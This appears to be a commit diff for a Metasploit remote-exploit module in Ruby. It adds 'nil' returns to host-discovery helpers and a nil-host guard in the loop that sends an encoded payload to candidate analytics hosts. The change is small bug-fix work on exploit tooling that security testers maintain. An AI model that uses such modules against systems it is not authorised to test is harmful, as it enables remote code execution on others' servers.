return nil
parent
55d9e9cff6
commit
4530066187
|
@ -123,6 +123,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
else
|
||||
vprint_status("#{peer} - Could not find any hosts on view.php")
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -144,6 +145,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
else
|
||||
vprint_status("#{peer} - Could not find any hosts on code.php")
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -207,6 +209,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
else
|
||||
vprint_status("#{peer} - Could not find any hosts on admin.php")
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = { :analytics_host => vhost })
|
||||
|
@ -228,6 +231,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
@ -243,6 +247,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
analytics_hosts << datastore['ANALYZER_HOST']
|
||||
end
|
||||
analytics_hosts.uniq.each do |host|
|
||||
next if host.nil?
|
||||
vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
|
||||
break if execute_command(payload.encoded, { :analytics_host => host })
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue